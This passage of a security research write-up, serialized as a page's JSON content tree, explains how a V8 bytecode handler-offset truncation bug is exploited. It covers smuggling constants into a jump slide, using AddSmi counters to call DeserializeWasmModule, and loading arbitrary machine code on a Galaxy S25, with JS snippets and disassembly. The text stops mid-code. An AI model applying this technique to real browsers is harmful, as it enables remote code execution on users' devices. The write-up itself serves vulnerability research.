Return\nHandler Table (size = 16)\n   from   to       hdlr (prediction,   data)\n  (   3,   6)  ->     6 (prediction=1, data=1)\n",[130259],{"type":23,"tag":135,"props":130260,"children":130261},{"__ignoreMap":7},[130262],{"type":28,"value":130257},{"type":23,"tag":24,"props":130264,"children":130265},{},[130266,130268,130273,130275,130280],{"type":28,"value":130267},"However, the ",{"type":23,"tag":135,"props":130269,"children":130271},{"className":130270},[],[130272],{"type":28,"value":130174},{"type":28,"value":130274}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":23,"tag":135,"props":130276,"children":130278},{"className":130277},[],[130279],{"type":28,"value":46308},{"type":28,"value":130281}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":23,"tag":24,"props":130283,"children":130284},{},[130285,130287,130293],{"type":28,"value":130286},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":23,"tag":135,"props":130288,"children":130290},{"className":130289},[],[130291],{"type":28,"value":130292},"yield*",{"type":28,"value":130294}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":23,"tag":41,"props":130296,"children":130298},{"id":130297},"exploitation",[130299],{"type":28,"value":130300},"Exploitation",{"type":23,"tag":666,"props":130302,"children":130304},{"id":130303},"constant-smuggling",[130305],{"type":28,"value":130306},"Constant Smuggling",{"type":23,"tag":24,"props":130308,"children":130309},{},[130310,130312,130319],{"type":28,"value":130311},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":23,"tag":64,"props":130313,"children":130316},{"href":130314,"rel":130315},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[68],[130317],{"type":28,"value":130318},"technique",{"type":28,"value":130320}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":23,"tag":128,"props":130322,"children":130324},{"code":130323,"language":29252,"meta":7,"className":29250,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[130325],{"type":23,"tag":135,"props":130326,"children":130327},{"__ignoreMap":7},[130328,130356,130383,130410],{"type":23,"tag":139,"props":130329,"children":130330},{"class":141,"line":142},[130331,130335,130339,130343,130347,130352],{"type":23,"tag":139,"props":130332,"children":130333},{"style":279},[130334],{"type":28,"value":9798},{"type":23,"tag":139,"props":130336,"children":130337},{"style":294},[130338],{"type":28,"value":87740},{"type":23,"tag":139,"props":130340,"children":130341},{"style":982},[130342],{"type":28,"value":985},{"type":23,"tag":139,"props":130344,"children":130345},{"style":982},[130346],{"type":28,"value":49153},{"type":23,"tag":139,"props":130348,"children":130349},{"style":1016},[130350],{"type":28,"value":130351},"9.255963134931783e61",{"type":23,"tag":139,"props":130353,"children":130354},{"style":259},[130355],{"type":28,"value":995},{"type":23,"tag":139,"props":130357,"children":130358},{"class":141,"line":151},[130359,130363,130367,130371,130375,130379],{"type":23,"tag":139,"props":130360,"children":130361},{"style":279},[130362],{"type":28,"value":9798},{"type":23,"tag":139,"props":130364,"children":130365},{"style":294},[130366],{"type":28,"value":88614},{"type":23,"tag":139,"props":130368,"children":130369},{"style":982},[130370],{"type":28,"value":985},{"type":23,"tag":139,"props":130372,"children":130373},{"style":982},[130374],{"type":28,"value":49153},{"type":23,"tag":139,"props":130376,"children":130377},{"style":1016},[130378],{"type":28,"value":130351},{"type":23,"tag":139,"props":130380,"children":130381},{"style":259},[130382],{"type":28,"value":995},{"type":23,"tag":139,"props":130384,"children":130385},{"class":141,"line":160},[130386,130390,130394,130398,130402,130406],{"type":23,"tag":139,"props":130387,"children":130388},{"style":279},[130389],{"type":28,"value":9798},{"type":23,"tag":139,"props":130391,"children":130392},{"style":294},[130393],{"type":28,"value":35335},{"type":23,"tag":139,"props":130395,"children":130396},{"style":982},[130397],{"type":28,"value":985},{"type":23,"tag":139,"props":130399,"children":130400},{"style":982},[130401],{"type":28,"value":49153},{"type":23,"tag":139,"props":130403,"children":130404},{"style":1016},[130405],{"type":28,"value":130351},{"type":23,"tag":139,"props":130407,"children":130408},{"style":259},[130409],{"type":28,"value":995},{"type":23,"tag":139,"props":130411,"children":130412},{"class":141,"line":169},[130413,130417,130421,130425,130429,130433],{"type":23,"tag":139,"props":130414,"children":130415},{"style":279},[130416],{"type":28,"value":9798},{"type":23,"tag":139,"props":130418,"children":130419},{"style":294},[130420],{"type":28,"value":130119},{"type":23,"tag":139,"props":130422,"children":130423},{"style":982},[130424],{"type":28,"value":985},{"type":23,"tag":139,"props":130426,"children":130427},{"style":982},[130428],{"type":28,"value":49153},{"type":23,"tag":139,"props":130430,"children":130431},{"style":1016},[130432],{"type":28,"value":130351},{"type":23,"tag":139,"props":130434,"children":130435},{"style":259},[130436],{"type":28,"value":995},{"type":23,"tag":24,"props":130438,"children":130439},{},[130440],{"type":28,"value":130441},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":23,"tag":24,"props":130443,"children":130444},{},[130445],{"type":28,"value":130446},"We'll use a similar principle here, although much more limited. With",{"type":23,"tag":128,"props":130448,"children":130450},{"code":130449},"let a = 0x0693bebe;\n",[130451],{"type":23,"tag":135,"props":130452,"children":130453},{"__ignoreMap":7},[130454],{"type":28,"value":130449},{"type":23,"tag":24,"props":130456,"children":130457},{},[130458],{"type":28,"value":130459},"We will compile the bytecode:",{"type":23,"tag":128,"props":130461,"children":130463},{"code":130462},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[130464],{"type":23,"tag":135,"props":130465,"children":130466},{"__ignoreMap":7},[130467],{"type":28,"value":130462},{"type":23,"tag":24,"props":130469,"children":130470},{},[130471,130473,130479,130481,130487,130488,130494],{"type":28,"value":130472},"We can then jump to the 3rd byte (",{"type":23,"tag":135,"props":130474,"children":130476},{"className":130475},[],[130477],{"type":28,"value":130478},"0xbe",{"type":28,"value":130480},"), and gain 2 controlled bytes of execution, followed by ",{"type":23,"tag":135,"props":130482,"children":130484},{"className":130483},[],[130485],{"type":28,"value":130486},"0x93 0x02 - 0xf",{"type":28,"value":1042},{"type":23,"tag":135,"props":130489,"children":130491},{"className":130490},[],[130492],{"type":28,"value":130493},"Jump +[2-15]",{"type":28,"value":130495},") to jump into the next constant.",{"type":23,"tag":24,"props":130497,"children":130498},{},[130499,130501,130507,130509,130515,130517,130523],{"type":28,"value":130500},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":23,"tag":135,"props":130502,"children":130504},{"className":130503},[],[130505],{"type":28,"value":130506},"StarX",{"type":28,"value":130508}," instructions, registers 16-121 resulted in two bytes ",{"type":23,"tag":135,"props":130510,"children":130512},{"className":130511},[],[130513],{"type":28,"value":130514},"Star rX",{"type":28,"value":130516}," instructions, and the next batch resulted in 4 byte ",{"type":23,"tag":135,"props":130518,"children":130520},{"className":130519},[],[130521],{"type":28,"value":130522},"Star.ExtraWide rX",{"type":28,"value":130524}," instructions.",{"type":23,"tag":24,"props":130526,"children":130527},{},[130528,130530,130536],{"type":28,"value":130529},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":23,"tag":135,"props":130531,"children":130533},{"className":130532},[],[130534],{"type":28,"value":130535},"0x8931111",{"type":28,"value":2493},{"type":23,"tag":128,"props":130538,"children":130540},{"code":130539,"language":29252,"meta":7,"className":29250,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[130541],{"type":23,"tag":135,"props":130542,"children":130543},{"__ignoreMap":7},[130544,130569,130593,130617,130641,130665,130689],{"type":23,"tag":139,"props":130545,"children":130546},{"class":141,"line":142},[130547,130551,130556,130560,130565],{"type":23,"tag":139,"props":130548,"children":130549},{"style":279},[130550],{"type":28,"value":9798},{"type":23,"tag":139,"props":130552,"children":130553},{"style":294},[130554],{"type":28,"value":130555}," a206",{"type":23,"tag":139,"props":130557,"children":130558},{"style":982},[130559],{"type":28,"value":985},{"type":23,"tag":139,"props":130561,"children":130562},{"style":1016},[130563],{"type":28,"value":130564}," 0x8931111",{"type":23,"tag":139,"props":130566,"children":130567},{"style":259},[130568],{"type":28,"value":995},{"type":23,"tag":139,"props":130570,"children":130571},{"class":141,"line":151},[130572,130576,130581,130585,130589],{"type":23,"tag":139,"props":130573,"children":130574},{"style":279},[130575],{"type":28,"value":9798},{"type":23,"tag":139,"props":130577,"children":130578},{"style":294},[130579],{"type":28,"value":130580}," a207",{"type":23,"tag":139,"props":130582,"children":130583},{"style":982},[130584],{"type":28,"value":985},{"type":23,"tag":139,"props":130586,"children":130587},{"style":1016},[130588],{"type":28,"value":130564},{"type":23,"tag":139,"props":130590,"children":130591},{"style":259},[130592],{"type":28,"value":995},{"type":23,"tag":139,"props":130594,"children":130595},{"class":141,"line":160},[130596,130600,130605,130609,130613],{"type":23,"tag":139,"props":130597,"children":130598},{"style":279},[130599],{"type":28,"value":9798},{"type":23,"tag":139,"props":130601,"children":130602},{"style":294},[130603],{"type":28,"value":130604}," a208",{"type":23,"tag":139,"props":130606,"children":130607},{"style":982},[130608],{"type":28,"value":985},{"type":23,"tag":139,"props":130610,"children":130611},{"style":1016},[130612],{"type":28,"value":130564},{"type":23,"tag":139,"props":130614,"children":130615},{"style":259},[130616],{"type":28,"value":995},{"type":23,"tag":139,"props":130618,"children":130619},{"class":141,"line":169},[130620,130624,130629,130633,130637],{"type":23,"tag":139,"props":130621,"children":130622},{"style":279},[130623],{"type":28,"value":9798},{"type":23,"tag":139,"props":130625,"children":130626},{"style":294},[130627],{"type":28,"value":130628}," a209",{"type":23,"tag":139,"props":130630,"children":130631},{"style":982},[130632],{"type":28,"value":985},{"type":23,"tag":139,"props":130634,"children":130635},{"style":1016},[130636],{"type":28,"value":130564},{"type":23,"tag":139,"props":130638,"children":130639},{"style":259},[130640],{"type":28,"value":995},{"type":23,"tag":139,"props":130642,"children":130643},{"class":141,"line":178},[130644,130648,130653,130657,130661],{"type":23,"tag":139,"props":130645,"children":130646},{"style":279},[130647],{"type":28,"value":9798},{"type":23,"tag":139,"props":130649,"children":130650},{"style":294},[130651],{"type":28,"value":130652}," a210",{"type":23,"tag":139,"props":130654,"children":130655},{"style":982},[130656],{"type":28,"value":985},{"type":23,"tag":139,"props":130658,"children":130659},{"style":1016},[130660],{"type":28,"value":130564},{"type":23,"tag":139,"props":130662,"children":130663},{"style":259},[130664],{"type":28,"value":995},{"type":23,"tag":139,"props":130666,"children":130667},{"class":141,"line":187},[130668,130672,130677,130681,130685],{"type":23,"tag":139,"props":130669,"children":130670},{"style":279},[130671],{"type":28,"value":9798},{"type":23,"tag":139,"props":130673,"children":130674},{"style":294},[130675],{"type":28,"value":130676}," a211",{"type":23,"tag":139,"props":130678,"children":130679},{"style":982},[130680],{"type":28,"value":985},{"type":23,"tag":139,"props":130682,"children":130683},{"style":1016},[130684],{"type":28,"value":130564},{"type":23,"tag":139,"props":130686,"children":130687},{"style":259},[130688],{"type":28,"value":995},{"type":23,"tag":139,"props":130690,"children":130691},{"class":141,"line":196},[130692,130696,130701,130705,130709],{"type":23,"tag":139,"props":130693,"children":130694},{"style":279},[130695],{"type":28,"value":9798},{"type":23,"tag":139,"props":130697,"children":130698},{"style":294},[130699],{"type":28,"value":130700}," a212",{"type":23,"tag":139,"props":130702,"children":130703},{"style":982},[130704],{"type":28,"value":985},{"type":23,"tag":139,"props":130706,"children":130707},{"style":1016},[130708],{"type":28,"value":130564},{"type":23,"tag":139,"props":130710,"children":130711},{"style":259},[130712],{"type":28,"value":995},{"type":23,"tag":24,"props":130714,"children":130715},{},[130716],{"type":28,"value":130717},"Those instructions result in:",{"type":23,"tag":128,"props":130719,"children":130721},{"code":130720},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8;  >------------+\n04: Star rX + LdaSmi ...   |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[130722],{"type":23,"tag":135,"props":130723,"children":130724},{"__ignoreMap":7},[130725],{"type":28,"value":130720},{"type":23,"tag":24,"props":130727,"children":130728},{},[130729,130731,130737,130739,130743],{"type":28,"value":130730},"(The offset of ",{"type":23,"tag":135,"props":130732,"children":130734},{"className":130733},[],[130735],{"type":28,"value":130736},"Jump",{"type":28,"value":130738}," instructions is added to the ",{"type":23,"tag":659,"props":130740,"children":130741},{},[130742],{"type":28,"value":68993},{"type":28,"value":130744}," of the instruction.)",{"type":23,"tag":24,"props":130746,"children":130747},{},[130748,130750,130756],{"type":28,"value":130749},"Now, 3 out of the 6 bytes in a ",{"type":23,"tag":135,"props":130751,"children":130753},{"className":130752},[],[130754],{"type":28,"value":130755},"LdaSmi.ExtraWide",{"type":28,"value":130757}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":23,"tag":666,"props":130759,"children":130761},{"id":130760},"exploit-goal",[130762],{"type":28,"value":130763},"Exploit Goal",{"type":23,"tag":24,"props":130765,"children":130766},{},[130767,130769,130775,130776,130782],{"type":28,"value":130768},"Initially we considered using ",{"type":23,"tag":135,"props":130770,"children":130772},{"className":130771},[],[130773],{"type":28,"value":130774},"Star",{"type":28,"value":2583},{"type":23,"tag":135,"props":130777,"children":130779},{"className":130778},[],[130780],{"type":28,"value":130781},"Ldar",{"type":28,"value":130783}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":23,"tag":24,"props":130785,"children":130786},{},[130787,130789,130796],{"type":28,"value":130788},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":23,"tag":64,"props":130790,"children":130793},{"href":130791,"rel":130792},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[68],[130794],{"type":28,"value":130795},"stack pivot and ROP",{"type":28,"value":130797},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":23,"tag":24,"props":130799,"children":130800},{},[130801],{"type":28,"value":130802},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":23,"tag":24,"props":130804,"children":130805},{},[130806],{"type":28,"value":130807},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":23,"tag":24,"props":130809,"children":130810},{},[130811,130813,130819,130821,130827,130829,130835],{"type":28,"value":130812},"At this point, we identified an interesting opcode: ",{"type":23,"tag":135,"props":130814,"children":130816},{"className":130815},[],[130817],{"type":28,"value":130818},"CallRuntime",{"type":28,"value":130820},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":23,"tag":135,"props":130822,"children":130824},{"className":130823},[],[130825],{"type":28,"value":130826},"--allow-natives-syntax",{"type":28,"value":130828}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":23,"tag":135,"props":130830,"children":130832},{"className":130831},[],[130833],{"type":28,"value":130834},"DeserializeWasmModule",{"type":28,"value":73},{"type":23,"tag":24,"props":130837,"children":130838},{},[130839,130841,130848,130849,130854,130855,130861,130863,130870],{"type":28,"value":130840},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":23,"tag":64,"props":130842,"children":130845},{"href":130843,"rel":130844},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[68],[130846],{"type":28,"value":130847},"JIT-compiled functions",{"type":28,"value":765},{"type":23,"tag":135,"props":130850,"children":130852},{"className":130851},[],[130853],{"type":28,"value":130834},{"type":28,"value":2583},{"type":23,"tag":135,"props":130856,"children":130858},{"className":130857},[],[130859],{"type":28,"value":130860},"SerializeWasmModule",{"type":28,"value":130862}," themselves are only used from test functions, and indeed have been ",{"type":23,"tag":64,"props":130864,"children":130867},{"href":130865,"rel":130866},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[68],[130868],{"type":28,"value":130869},"removed",{"type":28,"value":130871}," from recent production V8 builds due to how abusable this functionality is.",{"type":23,"tag":24,"props":130873,"children":130874},{},[130875,130877,130883,130885,130891,130893,130898,130900,130906,130908,130913,130914,130919,130920,130925,130927,130933,130935,130939],{"type":28,"value":130876},"However, calling this opcode represented a significant challenge:\n",{"type":23,"tag":135,"props":130878,"children":130880},{"className":130879},[],[130881],{"type":28,"value":130882},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":28,"value":130884},"\nWhere ",{"type":23,"tag":135,"props":130886,"children":130888},{"className":130887},[],[130889],{"type":28,"value":130890},"func-id",{"type":28,"value":130892}," is a 2-byte function ID, ",{"type":23,"tag":135,"props":130894,"children":130896},{"className":130895},[],[130897],{"type":28,"value":36118},{"type":28,"value":130899}," is the index of the last register passed and ",{"type":23,"tag":135,"props":130901,"children":130903},{"className":130902},[],[130904],{"type":28,"value":130905},"argc",{"type":28,"value":130907}," is the number of arguments passed (e.g. passing ",{"type":23,"tag":135,"props":130909,"children":130911},{"className":130910},[],[130912],{"type":28,"value":42276},{"type":28,"value":1052},{"type":23,"tag":135,"props":130915,"children":130917},{"className":130916},[],[130918],{"type":28,"value":42419},{"type":28,"value":9002},{"type":23,"tag":135,"props":130921,"children":130923},{"className":130922},[],[130924],{"type":28,"value":42402},{"type":28,"value":130926}," would be encoded as ",{"type":23,"tag":135,"props":130928,"children":130930},{"className":130929},[],[130931],{"type":28,"value":130932},"\u003Cr2> \u003C3>",{"type":28,"value":130934},").\nThis requires ",{"type":23,"tag":659,"props":130936,"children":130937},{},[130938],{"type":28,"value":16122},{"type":28,"value":130940}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":23,"tag":666,"props":130942,"children":130944},{"id":130943},"better-bytecode-control",[130945],{"type":28,"value":130946},"Better Bytecode Control",{"type":23,"tag":24,"props":130948,"children":130949},{},[130950,130952,130959,130961,130967],{"type":28,"value":130951},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":23,"tag":64,"props":130953,"children":130956},{"href":130954,"rel":130955},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[68],[130957],{"type":28,"value":130958},"feedback vector slot",{"type":28,"value":130960},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":23,"tag":135,"props":130962,"children":130964},{"className":130963},[],[130965],{"type":28,"value":130966},"AddSmi",{"type":28,"value":130968}," instruction, it represents the number of operations performed on the target value so far.",{"type":23,"tag":24,"props":130970,"children":130971},{},[130972],{"type":28,"value":130973},"For example, we can look at the below Ignition disassembly:",{"type":23,"tag":128,"props":130975,"children":130977},{"code":130976},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd                Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8             Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8             Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8             Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8             Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8             Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[130978],{"type":23,"tag":135,"props":130979,"children":130980},{"__ignoreMap":7},[130981],{"type":28,"value":130976},{"type":23,"tag":24,"props":130983,"children":130984},{},[130985,130987,130993],{"type":28,"value":130986},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":23,"tag":135,"props":130988,"children":130990},{"className":130989},[],[130991],{"type":28,"value":130992},"AddSmi.ExtraWide",{"type":28,"value":130994},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":23,"tag":24,"props":130996,"children":130997},{},[130998],{"type":28,"value":130999},"Eventually, we can reach a stage like this:",{"type":23,"tag":128,"props":131001,"children":131003},{"code":131002},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[131004],{"type":23,"tag":135,"props":131005,"children":131006},{"__ignoreMap":7},[131007],{"type":28,"value":131002},{"type":23,"tag":24,"props":131009,"children":131010},{},[131011],{"type":28,"value":131012},"If you skip the first two bytes, you have",{"type":23,"tag":14699,"props":131014,"children":131015},{},[131016,131047],{"type":23,"tag":801,"props":131017,"children":131018},{},[131019,131024,131026,131031,131033,131039,131041],{"type":23,"tag":135,"props":131020,"children":131022},{"className":131021},[],[131023],{"type":28,"value":130818},{"type":28,"value":131025}," (0x6c) to ",{"type":23,"tag":135,"props":131027,"children":131029},{"className":131028},[],[131030],{"type":28,"value":130834},{"type":28,"value":131032}," (0x0266) starting from register ",{"type":23,"tag":135,"props":131034,"children":131036},{"className":131035},[],[131037],{"type":28,"value":131038},"a2",{"type":28,"value":131040}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":23,"tag":135,"props":131042,"children":131044},{"className":131043},[],[131045],{"type":28,"value":131046},"DeserializeWasmModule(a2, a1)",{"type":23,"tag":801,"props":131048,"children":131049},{},[131050],{"type":28,"value":131051},"a Jump instruction",{"type":23,"tag":666,"props":131053,"children":131055},{"id":131054},"returning-back-to-js",[131056],{"type":28,"value":131057},"Returning Back to JS",{"type":23,"tag":24,"props":131059,"children":131060},{},[131061,131063,131069],{"type":28,"value":131062},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":23,"tag":135,"props":131064,"children":131066},{"className":131065},[],[131067],{"type":28,"value":131068},"yield",{"type":28,"value":131070}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":23,"tag":24,"props":131072,"children":131073},{},[131074],{"type":28,"value":131075},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":23,"tag":128,"props":131077,"children":131079},{"code":131078,"language":29252,"meta":7,"className":29250,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n  a1 + 0x0402666c;\n  throw 0x393e91a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[131080],{"type":23,"tag":135,"props":131081,"children":131082},{"__ignoreMap":7},[131083,131094,131142,131163,131179,131202,131230,131247],{"type":23,"tag":139,"props":131084,"children":131085},{"class":141,"line":142},[131086,131090],{"type":23,"tag":139,"props":131087,"children":131088},{"style":319},[131089],{"type":28,"value":46228},{"type":23,"tag":139,"props":131091,"children":131092},{"style":259},[131093],{"type":28,"value":1268},{"type":23,"tag":139,"props":131095,"children":131096},{"class":141,"line":151},[131097,131102,131106,131111,131115,131120,131124,131129,131133,131137],{"type":23,"tag":139,"props":131098,"children":131099},{"style":294},[131100],{"type":28,"value":131101},"  $",{"type":23,"tag":139,"props":131103,"children":131104},{"style":259},[131105],{"type":28,"value":74522},{"type":23,"tag":139,"props":131107,"children":131108},{"style":265},[131109],{"type":28,"value":131110},"'a1 + 0xa931111;'",{"type":23,"tag":139,"props":131112,"children":131113},{"style":259},[131114],{"type":28,"value":73},{"type":23,"tag":139,"props":131116,"children":131117},{"style":245},[131118],{"type":28,"value":131119},"repeat",{"type":23,"tag":139,"props":131121,"children":131122},{"style":259},[131123],{"type":28,"value":262},{"type":23,"tag":139,"props":131125,"children":131126},{"style":1016},[131127],{"type":28,"value":131128},"0x059302",{"type":23,"tag":139,"props":131130,"children":131131},{"style":982},[131132],{"type":28,"value":49153},{"type":23,"tag":139,"props":131134,"children":131135},{"style":1016},[131136],{"type":28,"value":2525},{"type":23,"tag":139,"props":131138,"children":131139},{"style":259},[131140],{"type":28,"value":131141},")}\n",{"type":23,"tag":139,"props":131143,"children":131144},{"class":141,"line":160},[131145,131150,131154,131159],{"type":23,"tag":139,"props":131146,"children":131147},{"style":294},[131148],{"type":28,"value":131149},"  a1",{"type":23,"tag":139,"props":131151,"children":131152},{"style":982},[131153],{"type":28,"value":6910},{"type":23,"tag":139,"props":131155,"children":131156},{"style":1016},[131157],{"type":28,"value":131158}," 0x0402666c",{"type":23,"tag":139,"props":131160,"children":131161},{"style":259},[131162],{"type":28,"value":995},{"type":23,"tag":139,"props":131164,"children":131165},{"class":141,"line":169},[131166,131170,131175],{"type":23,"tag":139,"props":131167,"children":131168},{"style":319},[131169],{"type":28,"value":33091},{"type":23,"tag":139,"props":131171,"children":131172},{"style":1016},[131173],{"type":28,"value":131174}," 0x393e91a",{"type":23,"tag":139,"props":131176,"children":131177},{"style":259},[131178],{"type":28,"value":995},{"type":23,"tag":139,"props":131180,"children":131181},{"class":141,"line":178},[131182,131186,131190,131194,131198],{"type":23,"tag":139,"props":131183,"children":131184},{"style":259},[131185],{"type":28,"value":44770},{"type":23,"tag":139,"props":131187,"children":131188},{"style":319},[131189],{"type":28,"value":46308},{"type":23,"tag":139,"props":131191,"children":131192},{"style":259},[131193],{"type":28,"value":1042},{"type":23,"tag":139,"props":131195,"children":131196},{"style":294},[131197],{"type":28,"value":49352},{"type":23,"tag":139,"props":131199,"children":131200},{"style":259},[131201],{"type":28,"value":12815},{"type":23,"tag":139,"props":131203,"children":131204},{"class":141,"line":187},[131205,131209,131213,131217,131221,131226],{"type":23,"tag":139,"props":131206,"children":131207},{"style":294},[131208],{"type":28,"value":99848},{"type":23,"tag":139,"props":131210,"children":131211},{"style":259},[131212],{"type":28,"value":73},{"type":23,"tag":139,"props":131214,"children":131215},{"style":245},[131216],{"type":28,"value":99857},{"type":23,"tag":139,"props":131218,"children":131219},{"style":259},[131220],{"type":28,"value":262},{"type":23,"tag":139,"props":131222,"children":131223},{"style":265},[131224],{"type":28,"value":131225},"\"foo\"",{"type":23,"tag":139,"props":131227,"children":131228},{"style":259},[131229],{"type":28,"value":1820},{"type":23,"tag":139,"props":131231,"children":131232},{"class":141,"line":196},[131233,131238,131243],{"type":23,"tag":139,"props":131234,"children":131235},{"style":319},[131236],{"type":28,"value":131237},"  yield",{"type":23,"tag":139,"props":131239,"children":131240},{"style":294},[131241],{"type":28,"value":131242}," a16",{"type":23,"tag":139,"props":131244,"children":131245},{"style":259},[131246],{"type":28,"value":995},{"type":23,"tag":139,"props":131248,"children":131249},{"class":141,"line":205},[131250],{"type":23,"tag":139,"props":131251,"children":131252},{"style":259},[131253],{"type":28,"value":1897},{"type":23,"tag":24,"props":131255,"children":131256},{},[131257,131259],{"type":28,"value":131258},"Starting from the final ",{"type":23,"tag":135,"props":131260,"children":131262},{"className":131261},[],[131263],{"type":28,"value":130966},{"type":23,"tag":128,"props":131265,"children":131267},{"code":131266}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1                Throw\n 4385791 : 00 1a 1a ff       Star.Wide r223\n",[131268],{"type":23,"tag":135,"props":131269,"children":131270},{"__ignoreMap":7},[131271],{"type":28,"value":131266},{"type":23,"tag":24,"props":131273,"children":131274},{},[131275,131277,131282,131284,131290],{"type":28,"value":131276},"The smuggled jump in ",{"type":23,"tag":135,"props":131278,"children":131280},{"className":131279},[],[131281],{"type":28,"value":130966},{"type":28,"value":131283}," will redirect us to ",{"type":23,"tag":135,"props":131285,"children":131287},{"className":131286},[],[131288],{"type":28,"value":131289},"1a e9 93 03",{"type":28,"value":131291},", which results in:",{"type":23,"tag":14699,"props":131293,"children":131294},{},[131295,131306],{"type":23,"tag":801,"props":131296,"children":131297},{},[131298,131304],{"type":23,"tag":135,"props":131299,"children":131301},{"className":131300},[],[131302],{"type":28,"value":131303},"Star r16",{"type":28,"value":131305}," (store accumulator to r16)",{"type":23,"tag":801,"props":131307,"children":131308},{},[131309,131314],{"type":23,"tag":135,"props":131310,"children":131312},{"className":131311},[],[131313],{"type":28,"value":130736},{"type":28,"value":131315}," past the throw into the catch relevant code",{"type":23,"tag":24,"props":131317,"children":131318},{},[131319,131321,131327],{"type":28,"value":131320},"This will bring us nicely to the final ",{"type":23,"tag":135,"props":131322,"children":131324},{"className":131323},[],[131325],{"type":28,"value":131326},"yield a16",{"type":28,"value":131328},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":23,"tag":666,"props":131330,"children":131332},{"id":131331},"executing-shellcode",[131333],{"type":28,"value":131334},"Executing Shellcode",{"type":23,"tag":24,"props":131336,"children":131337},{},[131338],{"type":28,"value":131339},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":23,"tag":128,"props":131341,"children":131343},{"code":131342,"language":33505,"meta":7,"className":33503,"style":7},"var wasm_code = new Uint8Array([\n  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n  0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + 